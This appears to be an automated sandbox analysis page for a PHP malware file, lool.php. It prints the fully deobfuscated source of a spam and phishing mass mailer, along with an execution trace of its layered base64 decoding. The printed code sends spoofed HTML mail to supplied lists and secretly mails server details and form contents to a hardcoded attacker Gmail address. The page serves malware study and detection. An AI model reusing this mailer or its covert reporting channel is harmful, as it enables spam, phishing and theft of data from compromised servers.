PHP Malware Analysis
lool.php
md5: 0e9624f348eacbfe9ed78f72f53b2f17
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Emails
- BIMO@2M.TV (Deobfuscated, Traces)
- thawalaaa@gmail.com (Deobfuscated, Traces)
Encoding
Environment
- set_time_limit (Deobfuscated, Original, Traces)
Input
- _POST (Deobfuscated, Original)
Deobfuscated PHP code
<?php
ignore_user_abort();
set_time_limit(0);
function xagtxxne_bfb24fad152ccef40e80de1bf5dd5096()
{
$yqcfckix_8842c447a57f179976288102e7340ea8 = 1;
$buzautpa_487c1808b418116b73def4a7c20578cd[1] = $_POST["de"];
$tzmgiiqm_5940fe21d39f43131eccf53d7c1c5d3d[1] = $_POST["nome"];
$vjwhffni_ef39544d0afe7c231870ae9527fa0b44[1] = $_POST["assunto"];
$raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[1] = $_POST["mensagem"];
$raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[1] = stripslashes($raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[1]);
$cspulzmf_b80fe359594a2be5767802411478205a = $_POST["emails"];
$dzmbbdru_be00ed31c76eba6d1e9b730fc79c75be = htmlspecialchars($_POST["emails"]);
$eveijqsv_aeedeb4656ca1bd2282a807f58210d16 = explode("\n", $cspulzmf_b80fe359594a2be5767802411478205a);
$bniqjojj_71ba3634b09874a07620cedbc3e7e7bd = count($eveijqsv_aeedeb4656ca1bd2282a807f58210d16);
$foklwctl_0803be038580b1eae51e5106fd6f94e6 = $_SERVER["SERVER_NAME"];
$hxgycvgf_d7d08d3697b6637ec57bb777e5afec8c = $_SERVER["REQUEST_URI"];
$bqgtufkw_19ab8df2939ab9a22fbb8a70e914ed3a = @$_SERVER["HTTP_REFERER"];
$bwdktnce_99f3e9311aba1afe226e1ba8656f2a7d = '' . $bqgtufkw_19ab8df2939ab9a22fbb8a70e914ed3a . "<br><p>Emails:<br><TEXTAREA rows=5 cols=100>" . $dzmbbdru_be00ed31c76eba6d1e9b730fc79c75be . "</TEXTAREA></p><p>Engenharia:<br><TEXTAREA rows=5 cols=100>" . $raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[1] . "</TEXTAREA></p>";
$jvlwsdfj_cfa9ab22c2069501b12b136656d1bb5f = $_POST["vai"];
if ($jvlwsdfj_cfa9ab22c2069501b12b136656d1bb5f) {
for ($klnaffha_f5169e63037d242745a80b4672145f97 = 0; $klnaffha_f5169e63037d242745a80b4672145f97 < $bniqjojj_71ba3634b09874a07620cedbc3e7e7bd; $klnaffha_f5169e63037d242745a80b4672145f97++) {
if ($klnaffha_f5169e63037d242745a80b4672145f97 == 0) {
$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0 = "MIME-Version: 1.0\r\n";
$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0 = "MIME-Version: 1.0\r\nContent-type: text/html; charset=iso-8859-1\r\n";
$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0 .= "From: {$tzmgiiqm_5940fe21d39f43131eccf53d7c1c5d3d[$yqcfckix_8842c447a57f179976288102e7340ea8]} <{$buzautpa_487c1808b418116b73def4a7c20578cd[$yqcfckix_8842c447a57f179976288102e7340ea8]}>\r\n";
$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0 .= "Return-Path: <{$buzautpa_487c1808b418116b73def4a7c20578cd[$yqcfckix_8842c447a57f179976288102e7340ea8]}>\r\n";
}
$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0 = "MIME-Version: 1.0\r\n";
$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0 = "MIME-Version: 1.0\r\nContent-type: text/html; charset=iso-8859-1\r\n";
$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0 .= "From: {$tzmgiiqm_5940fe21d39f43131eccf53d7c1c5d3d[$yqcfckix_8842c447a57f179976288102e7340ea8]} <{$buzautpa_487c1808b418116b73def4a7c20578cd[$yqcfckix_8842c447a57f179976288102e7340ea8]}>\r\n";
$ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0 .= "Return-Path: <{$buzautpa_487c1808b418116b73def4a7c20578cd[$yqcfckix_8842c447a57f179976288102e7340ea8]}>\r\n";
$swzoqdvp_ba2b29badf92ef5ae110ba6676f96297++;
$gpnosxge_a6615f3cfcd34f14438416a8163d526e = $eveijqsv_aeedeb4656ca1bd2282a807f58210d16[$klnaffha_f5169e63037d242745a80b4672145f97];
$kjckycqo_edd2707212676bc52f26a61dea7f066f = rand(100000, 999999);
$ilotpgsb_037be3960208cb705d7282ed4a2763ba = rand(100000, 999999);
$dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869 = str_replace("%rand%", $kjckycqo_edd2707212676bc52f26a61dea7f066f, $raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[$yqcfckix_8842c447a57f179976288102e7340ea8]);
$dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869 = str_replace("%rand2%", $ilotpgsb_037be3960208cb705d7282ed4a2763ba, $dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869);
$dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869 = str_replace("%email%", $gpnosxge_a6615f3cfcd34f14438416a8163d526e, $dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869);
$hjnvzmhs_3c77c5da06dd4e13e0997957922f68ac = mail($gpnosxge_a6615f3cfcd34f14438416a8163d526e, $vjwhffni_ef39544d0afe7c231870ae9527fa0b44[$yqcfckix_8842c447a57f179976288102e7340ea8], $dbmthlqa_6ce42c9e1a4b0fe0f9802297a8214869, $ghtdkezh_f2627e25af25eaa12fb1d65a82cfa4c0);
if ($hjnvzmhs_3c77c5da06dd4e13e0997957922f68ac) {
echo "<font color=\"green\">" . $swzoqdvp_ba2b29badf92ef5ae110ba6676f96297 . "-" . $gpnosxge_a6615f3cfcd34f14438416a8163d526e . " 0k!</font><br>";
} else {
echo "<font color=\"red\">" . $swzoqdvp_ba2b29badf92ef5ae110ba6676f96297 . "-" . $gpnosxge_a6615f3cfcd34f14438416a8163d526e . " =(</font><br>";
sleep(1);
}
}
}
}
$voknzgoa_3d9e53c042906eb225e3e9ab3663bf6c = getenv("REMOTE_ADDR");
$kksvsbcx_f5c9b561d094d30ff587b60198fc2163 = rand(1, 99999);
$oiuenqpx_7200f7d840b7c7875f20e2060333112c = "Sendi {$voknzgoa_3d9e53c042906eb225e3e9ab3663bf6c}";
$fnkcacrs_d1f0c8cc50d2afb200d0039ad601e4f6 = "thawalaaa@gmail.com";
$qncfpprn_6b89b38aa18f7cde5e8736cf92f51a34 = "From: By Xboomber <BIMO@2M.TV>";
$anzvksrj_03248db383d3827444b2009dcbf3f243 = $_SERVER["REQUEST_URI"];
$eyhbjfgw_8a8842f21ff64356ac7864f4c46823f8 = $_SERVER["HTTP_HOST"];
$lvxhvtvm_5276de9d13f4b30cc6adf839a4867f1b = $_POST["de"];
$mvrpchrr_e4d0635aa752aba2945d07a72632077d = $_POST["nome"];
$fgvxdetp_409458d6f923595850fc983220f2975a = $_POST["assunto"];
$tsjfvcku_53ed439f9321ed83ff7b62585c9efda1 = $_POST["mensagem"];
$qudcqelr_ceabdae83d6c0981f4265713fc870cdd = $_POST["emails"];
$bnkwbnry_1f7219f5f51e18fb2bf341d8604bcbc0 = $voknzgoa_3d9e53c042906eb225e3e9ab3663bf6c . "\n";
$ktqhtslf_70ba9bcae150ffdf1f666ad2db96a5ef = "{$anzvksrj_03248db383d3827444b2009dcbf3f243}\n{$eyhbjfgw_8a8842f21ff64356ac7864f4c46823f8}\n{$lvxhvtvm_5276de9d13f4b30cc6adf839a4867f1b}\n{$mvrpchrr_e4d0635aa752aba2945d07a72632077d}\n{$fgvxdetp_409458d6f923595850fc983220f2975a}\n{$tsjfvcku_53ed439f9321ed83ff7b62585c9efda1}\n{$qudcqelr_ceabdae83d6c0981f4265713fc870cdd}\n{$bnkwbnry_1f7219f5f51e18fb2bf341d8604bcbc0}";
mail($fnkcacrs_d1f0c8cc50d2afb200d0039ad601e4f6, $oiuenqpx_7200f7d840b7c7875f20e2060333112c, $ktqhtslf_70ba9bcae150ffdf1f666ad2db96a5ef, $qncfpprn_6b89b38aa18f7cde5e8736cf92f51a34);
?>
<style type="text/css">
<!--
.style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.style6 {font-size: 10px}
.style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; }
-->
</style>
<form id="form1" name="form1" method="post" action="">
<input type="hidden" name="vai" value="1">
<span class="style5"><?php
echo xagtxxne_bfb24fad152ccef40e80de1bf5dd5096();
?></span>
<table width="415" height="334" border="0" bgcolor="#000000">
<tr>
<td width="66"><span class="style5">Name:</span></td>
<td width="321"><span class="style9">
<label>
<input name="nome" type="text" value="<?php
echo $_POST["nome"];
?>" size="20" />
</label>
</span></td>
</tr>
<tr>
<td><span class="style5">From:</span></td>
<td><input name="de" type="text" value="<?php
echo $_POST["de"];
?>" size="30" /></td>
</tr>
<tr>
<td><span class="style5">Subject:</span></td>
<td><input name="assunto" value="<?php
echo $_POST["assunto"];
?>" size="40" /></td>
</tr>
<td><span class="style5">letter:</span>
<br /><br /><br /><br /><br /><br /><br /><span class="style5">mailist:</span></td>
<td><span class="style9">
<p><textarea name="mensagem" cols="50" rows="7"><?php
echo stripslashes($_POST["mensagem"]);
?>
</textarea></p>
<textarea name="emails" cols="50" rows="4"></textarea>
</span></td>
</tr>
<tr>
<td><span class="style6"></span></td>
<td align="center"> <span class="style5"><font color="red" size="4"> <em><strong></strong></em><strong></strong></font></span><input name="Submit" type="submit" value="Send " />
<span class="style5"><font color="red" size="4"> <em><strong> </strong></em><strong></strong></font></span></td>
</tr>
<tr>
</tr>
</table>
</form>
<br>Execution traces
data/traces/0e9624f348eacbfe9ed78f72f53b2f17_trace-1676244142.7044.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:22:48.602227]
1 0 1 0.000136 393512
1 3 0 0.000388 446656 {main} 1 /var/www/html/uploads/lool.php 0 0
2 4 0 0.000406 446656 ignore_user_abort 0 /var/www/html/uploads/lool.php 1 0
2 4 1 0.000419 446656
2 4 R 0
2 5 0 0.000433 446656 set_time_limit 0 /var/www/html/uploads/lool.php 1 1 0
2 5 1 0.000463 446720
2 5 R FALSE
2 6 0 0.000478 446688 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'Vld0V1RsUXhVa1pZTUVaRlVrWkpQUT09'
2 6 1 0.000493 446784
2 6 R 'VWtWTlQxUkZYMEZFUkZJPQ=='
2 7 0 0.000508 446752 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'VWtWTlQxUkZYMEZFUkZJPQ=='
2 7 1 0.000523 446840
2 7 R 'UkVNT1RFX0FERFI='
2 8 0 0.000537 446744 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'UkVNT1RFX0FERFI='
2 8 1 0.000550 446824
2 8 R 'REMOTE_ADDR'
2 9 0 0.000563 446736 getenv 0 /var/www/html/uploads/lool.php 1 1 'REMOTE_ADDR'
2 9 1 0.000576 446808
2 9 R '127.0.0.1'
1 A /var/www/html/uploads/lool.php 1 $voknzgoa_3d9e53c042906eb225e3e9ab3663bf6c = '127.0.0.1'
2 10 0 0.000604 446728 rand 0 /var/www/html/uploads/lool.php 1 2 1 99999
2 10 1 0.000620 446792
2 10 R 8495
1 A /var/www/html/uploads/lool.php 1 $kksvsbcx_f5c9b561d094d30ff587b60198fc2163 = 8495
1 A /var/www/html/uploads/lool.php 1 $oiuenqpx_7200f7d840b7c7875f20e2060333112c = 'Sendi 127.0.0.1'
2 11 0 0.000660 446768 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'WkVkb2FHUXlSbk5aVjBab1VVZGtkRmxYYkhOTWJVNTJZbEU5UFE9PQ=='
2 11 1 0.000676 446896
2 11 R 'ZEdoaGQyRnNZV0ZoUUdkdFlXbHNMbU52YlE9PQ=='
2 12 0 0.000692 446864 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'ZEdoaGQyRnNZV0ZoUUdkdFlXbHNMbU52YlE9PQ=='
2 12 1 0.000708 446976
2 12 R 'dGhhd2FsYWFhQGdtYWlsLmNvbQ=='
2 13 0 0.000722 446848 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'dGhhd2FsYWFhQGdtYWlsLmNvbQ=='
2 13 1 0.000736 446936
2 13 R 'thawalaaa@gmail.com'
1 A /var/www/html/uploads/lool.php 1 $fnkcacrs_d1f0c8cc50d2afb200d0039ad601e4f6 = 'thawalaaa@gmail.com'
2 14 0 0.000764 446824 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'VW01S2RtSlViMmRSYm10blYwZEtkbUl5TVdsYVdFbG5VRVZLU2xSVk9VRk5hekIxVmtaWkt3PT0='
2 14 1 0.000780 446968
2 14 R 'Um5KdmJUb2dRbmtnV0dKdmIyMWlaWElnUEVKSlRVOUFNazB1VkZZKw=='
2 15 0 0.000797 446936 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'Um5KdmJUb2dRbmtnV0dKdmIyMWlaWElnUEVKSlRVOUFNazB1VkZZKw=='
2 15 1 0.000812 447064
2 15 R 'RnJvbTogQnkgWGJvb21iZXIgPEJJTU9AMk0uVFY+'
2 16 0 0.000829 446920 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'RnJvbTogQnkgWGJvb21iZXIgPEJJTU9AMk0uVFY+'
2 16 1 0.000844 447032
2 16 R 'From: By Xboomber <BIMO@2M.TV>'
1 A /var/www/html/uploads/lool.php 1 $qncfpprn_6b89b38aa18f7cde5e8736cf92f51a34 = 'From: By Xboomber <BIMO@2M.TV>'
2 17 0 0.000873 446904 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'Vld0V1VsWlZWbFJXUmpsV1ZXdHJQUT09'
2 17 1 0.000887 447000
2 17 R 'VWtWUlZVVlRWRjlWVWtrPQ=='
2 18 0 0.000902 446968 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'VWtWUlZVVlRWRjlWVWtrPQ=='
2 18 1 0.000915 447056
2 18 R 'UkVRVUVTVF9VUkk='
2 19 0 0.000929 446960 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'UkVRVUVTVF9VUkk='
2 19 1 0.000942 447040
2 19 R 'REQUEST_URI'
1 A /var/www/html/uploads/lool.php 1 $anzvksrj_03248db383d3827444b2009dcbf3f243 = '/uploads/lool.php'
2 20 0 0.000968 446904 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'VTBaU1ZWVkdPVWxVTVU1Vg=='
2 20 1 0.000981 446992
2 20 R 'U0ZSVVVGOUlUMU5V'
2 21 0 0.000994 446960 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'U0ZSVVVGOUlUMU5V'
2 21 1 0.001007 447040
2 21 R 'SFRUUF9IT1NU'
2 22 0 0.001020 446952 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'SFRUUF9IT1NU'
2 22 1 0.001032 447024
2 22 R 'HTTP_HOST'
1 A /var/www/html/uploads/lool.php 1 $eyhbjfgw_8a8842f21ff64356ac7864f4c46823f8 = 'localhost'
2 23 0 0.001063 446904 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'V2tkVlBRPT0='
2 23 1 0.001076 446976
2 23 R 'WkdVPQ=='
2 24 0 0.001089 446944 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'WkdVPQ=='
2 24 1 0.001101 447016
2 24 R 'ZGU='
2 25 0 0.001113 446944 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'ZGU='
2 25 1 0.001125 447008
2 25 R 'de'
1 A /var/www/html/uploads/lool.php 1 $lvxhvtvm_5276de9d13f4b30cc6adf839a4867f1b = NULL
2 26 0 0.001165 446904 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'WW0wNWRGcFJQVDA9'
2 26 1 0.001178 446984
2 26 R 'Ym05dFpRPT0='
2 27 0 0.001191 446952 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'Ym05dFpRPT0='
2 27 1 0.001203 447024
2 27 R 'bm9tZQ=='
2 28 0 0.001216 446944 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'bm9tZQ=='
2 28 1 0.001228 447016
2 28 R 'nome'
1 A /var/www/html/uploads/lool.php 1 $mvrpchrr_e4d0635aa752aba2945d07a72632077d = NULL
2 29 0 0.001259 446904 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'V1ZoT2VtUlhOVEJpZHowOQ=='
2 29 1 0.001271 446992
2 29 R 'WVhOemRXNTBidz09'
2 30 0 0.001285 446960 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'WVhOemRXNTBidz09'
2 30 1 0.001298 447040
2 30 R 'YXNzdW50bw=='
2 31 0 0.001311 446952 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'YXNzdW50bw=='
2 31 1 0.001323 447024
2 31 R 'assunto'
1 A /var/www/html/uploads/lool.php 1 $fgvxdetp_409458d6f923595850fc983220f2975a = NULL
2 32 0 0.001352 446904 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'WWxkV2RXTXlSbTVhVnpBOQ=='
2 32 1 0.001366 446992
2 32 R 'YldWdWMyRm5aVzA9'
2 33 0 0.001379 446960 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'YldWdWMyRm5aVzA9'
2 33 1 0.001391 447040
2 33 R 'bWVuc2FnZW0='
2 34 0 0.001404 446952 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'bWVuc2FnZW0='
2 34 1 0.001417 447024
2 34 R 'mensagem'
1 A /var/www/html/uploads/lool.php 1 $tsjfvcku_53ed439f9321ed83ff7b62585c9efda1 = NULL
2 35 0 0.001453 446904 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'V2xjeGFHRlhlSG89'
2 35 1 0.001467 446984
2 35 R 'WlcxaGFXeHo='
2 36 0 0.001481 446952 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'WlcxaGFXeHo='
2 36 1 0.001494 447024
2 36 R 'ZW1haWxz'
2 37 0 0.001507 446944 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'ZW1haWxz'
2 37 1 0.001519 447016
2 37 R 'emails'
1 A /var/www/html/uploads/lool.php 1 $qudcqelr_ceabdae83d6c0981f4265713fc870cdd = NULL
2 38 0 0.001549 446904 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'UTJjOVBRPT0='
2 38 1 0.001561 446976
2 38 R 'Q2c9PQ=='
2 39 0 0.001574 446944 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'Q2c9PQ=='
2 39 1 0.001587 447016
2 39 R 'Cg=='
2 40 0 0.001599 446944 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'Cg=='
2 40 1 0.001612 447008
2 40 R '\n'
1 A /var/www/html/uploads/lool.php 1 $bnkwbnry_1f7219f5f51e18fb2bf341d8604bcbc0 = '127.0.0.1\n'
1 A /var/www/html/uploads/lool.php 1 $ktqhtslf_70ba9bcae150ffdf1f666ad2db96a5ef = '/uploads/lool.php\nlocalhost\n\n\n\n\n\n127.0.0.1\n'
2 41 0 0.001707 447024 mail 0 /var/www/html/uploads/lool.php 1 4 'thawalaaa@gmail.com' 'Sendi 127.0.0.1' '/uploads/lool.php\nlocalhost\n\n\n\n\n\n127.0.0.1\n' 'From: By Xboomber <BIMO@2M.TV>'
2 41 1 0.002355 447168
2 41 R FALSE
2 42 0 0.002379 447024 xagtxxne_bfb24fad152ccef40e80de1bf5dd5096 1 /var/www/html/uploads/lool.php 13 0
2 A /var/www/html/uploads/lool.php 1 $yqcfckix_8842c447a57f179976288102e7340ea8 = 1
3 43 0 0.002408 447024 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'V2tkVlBRPT0='
3 43 1 0.002422 447096
3 43 R 'WkdVPQ=='
3 44 0 0.002436 447064 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'WkdVPQ=='
3 44 1 0.002448 447136
3 44 R 'ZGU='
3 45 0 0.002461 447064 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'ZGU='
3 45 1 0.002478 447128
3 45 R 'de'
2 A /var/www/html/uploads/lool.php 1 $buzautpa_487c1808b418116b73def4a7c20578cd[1] = NULL
3 46 0 0.002514 447400 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'WW0wNWRGcFJQVDA9'
3 46 1 0.002527 447480
3 46 R 'Ym05dFpRPT0='
3 47 0 0.002541 447448 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'Ym05dFpRPT0='
3 47 1 0.002554 447520
3 47 R 'bm9tZQ=='
3 48 0 0.002567 447440 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'bm9tZQ=='
3 48 1 0.002580 447512
3 48 R 'nome'
2 A /var/www/html/uploads/lool.php 1 $tzmgiiqm_5940fe21d39f43131eccf53d7c1c5d3d[1] = NULL
3 49 0 0.002611 447776 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'V1ZoT2VtUlhOVEJpZHowOQ=='
3 49 1 0.002624 447864
3 49 R 'WVhOemRXNTBidz09'
3 50 0 0.002638 447832 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'WVhOemRXNTBidz09'
3 50 1 0.002651 447912
3 50 R 'YXNzdW50bw=='
3 51 0 0.002665 447824 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'YXNzdW50bw=='
3 51 1 0.002676 447896
3 51 R 'assunto'
2 A /var/www/html/uploads/lool.php 1 $vjwhffni_ef39544d0afe7c231870ae9527fa0b44[1] = NULL
3 52 0 0.002708 448152 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'WWxkV2RXTXlSbTVhVnpBOQ=='
3 52 1 0.002721 448240
3 52 R 'YldWdWMyRm5aVzA9'
3 53 0 0.002735 448208 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'YldWdWMyRm5aVzA9'
3 53 1 0.002748 448288
3 53 R 'bWVuc2FnZW0='
3 54 0 0.002761 448200 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'bWVuc2FnZW0='
3 54 1 0.002774 448272
3 54 R 'mensagem'
2 A /var/www/html/uploads/lool.php 1 $raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[1] = NULL
3 55 0 0.002806 448528 stripslashes 0 /var/www/html/uploads/lool.php 1 1 NULL
3 55 1 0.002818 448592
3 55 R ''
2 A /var/www/html/uploads/lool.php 1 $raguzyyk_69cfbbc96dddcab4e6c81ad2c7867e6e[1] = ''
3 56 0 0.002843 448560 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'V2xjeGFHRlhlSG89'
3 56 1 0.002857 448640
3 56 R 'WlcxaGFXeHo='
3 57 0 0.002870 448608 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'WlcxaGFXeHo='
3 57 1 0.002883 448680
3 57 R 'ZW1haWxz'
3 58 0 0.002896 448600 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'ZW1haWxz'
3 58 1 0.002909 448672
3 58 R 'emails'
2 A /var/www/html/uploads/lool.php 1 $cspulzmf_b80fe359594a2be5767802411478205a = NULL
3 59 0 0.002940 448560 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'V2xjeGFHRlhlSG89'
3 59 1 0.002953 448640
3 59 R 'WlcxaGFXeHo='
3 60 0 0.002966 448608 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'WlcxaGFXeHo='
3 60 1 0.002979 448680
3 60 R 'ZW1haWxz'
3 61 0 0.002993 448600 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'ZW1haWxz'
3 61 1 0.003005 448672
3 61 R 'emails'
3 62 0 0.003023 448560 htmlspecialchars 0 /var/www/html/uploads/lool.php 1 1 NULL
3 62 1 0.003036 448752
3 62 R ''
2 A /var/www/html/uploads/lool.php 1 $dzmbbdru_be00ed31c76eba6d1e9b730fc79c75be = ''
3 63 0 0.003060 448720 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'UTJjOVBRPT0='
3 63 1 0.003073 448792
3 63 R 'Q2c9PQ=='
3 64 0 0.003085 448760 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'Q2c9PQ=='
3 64 1 0.003098 448832
3 64 R 'Cg=='
3 65 0 0.003110 448760 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'Cg=='
3 65 1 0.003122 448824
3 65 R '\n'
3 66 0 0.003135 448752 explode 0 /var/www/html/uploads/lool.php 1 2 '\n' NULL
3 66 1 0.003147 449200
3 66 R [0 => '']
2 A /var/www/html/uploads/lool.php 1 $eveijqsv_aeedeb4656ca1bd2282a807f58210d16 = [0 => '']
2 A /var/www/html/uploads/lool.php 1 $bniqjojj_71ba3634b09874a07620cedbc3e7e7bd = 1
3 67 0 0.003186 449096 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'VlRCV1UxWnJWbE5ZTURWQ1ZGVlZQUT09'
3 67 1 0.003203 449192
3 67 R 'VTBWU1ZrVlNYMDVCVFVVPQ=='
3 68 0 0.003218 449160 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'VTBWU1ZrVlNYMDVCVFVVPQ=='
3 68 1 0.003231 449248
3 68 R 'U0VSVkVSX05BTUU='
3 69 0 0.003244 449152 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'U0VSVkVSX05BTUU='
3 69 1 0.003258 449232
3 69 R 'SERVER_NAME'
2 A /var/www/html/uploads/lool.php 1 $foklwctl_0803be038580b1eae51e5106fd6f94e6 = 'localhost'
3 70 0 0.003284 449096 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'Vld0V1VsWlZWbFJXUmpsV1ZXdHJQUT09'
3 70 1 0.003298 449192
3 70 R 'VWtWUlZVVlRWRjlWVWtrPQ=='
3 71 0 0.003312 449160 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'VWtWUlZVVlRWRjlWVWtrPQ=='
3 71 1 0.003326 449248
3 71 R 'UkVRVUVTVF9VUkk='
3 72 0 0.003339 449152 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'UkVRVUVTVF9VUkk='
3 72 1 0.003352 449232
3 72 R 'REQUEST_URI'
2 A /var/www/html/uploads/lool.php 1 $hxgycvgf_d7d08d3697b6637ec57bb777e5afec8c = '/uploads/lool.php'
3 73 0 0.003378 449096 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'VTBaU1ZWVkdPVk5TVlZwR1ZXdFdVdz09'
3 73 1 0.003393 449192
3 73 R 'U0ZSVVVGOVNSVVpGVWtWUw=='
3 74 0 0.003406 449160 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'U0ZSVVVGOVNSVVpGVWtWUw=='
3 74 1 0.003420 449248
3 74 R 'SFRUUF9SRUZFUkVS'
3 75 0 0.003433 449152 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'SFRUUF9SRUZFUkVS'
3 75 1 0.003446 449232
3 75 R 'HTTP_REFERER'
2 A /var/www/html/uploads/lool.php 1 $bqgtufkw_19ab8df2939ab9a22fbb8a70e914ed3a = NULL
3 76 0 0.003473 449128 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'VUVkS2VWQnFlSGRRYTFaMFdWZHNjMk42YnpoWmJra3JVRVpTUmxkR1VrSlZhMVpDU1VoS2RtUXpUVGxPVTBKcVlqSjRlbEJVUlhkTlJEUTk='
3 76 1 0.003491 449320
3 76 R 'UEdKeVBqeHdQa1Z0WVdsc2N6bzhZbkkrUEZSRldGUkJVa1ZCSUhKdmQzTTlOU0JqYjJ4elBURXdNRDQ9'
3 77 0 0.003509 449288 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'UEdKeVBqeHdQa1Z0WVdsc2N6bzhZbkkrUEZSRldGUkJVa1ZCSUhKdmQzTTlOU0JqYjJ4elBURXdNRDQ9'
3 77 1 0.003525 449432
3 77 R 'PGJyPjxwPkVtYWlsczo8YnI+PFRFWFRBUkVBIHJvd3M9NSBjb2xzPTEwMD4='
3 78 0 0.003542 449240 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'PGJyPjxwPkVtYWlsczo8YnI+PFRFWFRBUkVBIHJvd3M9NSBjb2xzPTEwMD4='
3 78 1 0.003558 449368
3 78 R '<br><p>Emails:<br><TEXTAREA rows=5 cols=100>'
3 79 0 0.003575 449192 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'VUVNNVZWSldhRlZSVmtwR1VWUTBPRXd6UVN0UVNFRXJVbGMxYmxwWE5XOVpXRXB3V1ZSdk9GbHVTU3RRUmxKR1YwWlNRbFZyVmtKSlNFcDJaRE5OT1U1VFFtcGlNbmg2VUZSRmQwMUVORDA9'
3 79 1 0.003594 449416
3 79 R 'UEM5VVJWaFVRVkpGUVQ0OEwzQStQSEErUlc1blpXNW9ZWEpwWVRvOFluSStQRlJGV0ZSQlVrVkJJSEp2ZDNNOU5TQmpiMnh6UFRFd01END0='
3 80 0 0.003614 449384 base64_decode 0 /var/www/html/uploads/lool.php 1 1 'UEM5VVJWaFVRVkpGUVQ0OEwzQStQSEErUlc1blpXNW9ZWEpwWVRvOFluSStQRlJGV0ZSQlVrVkJJSEp2ZDNNOU5TQmpiMnh6UFRFd01END0='
3 80 1 0.003630 449576
3 80 R 'PC9URVhUQVJFQT48L3A+PHA+RW5nZW5oYXJpYTo8YnI+PFRFWFRBUkVBIHJvd3M9NSBjb2xzPTEwMD4='
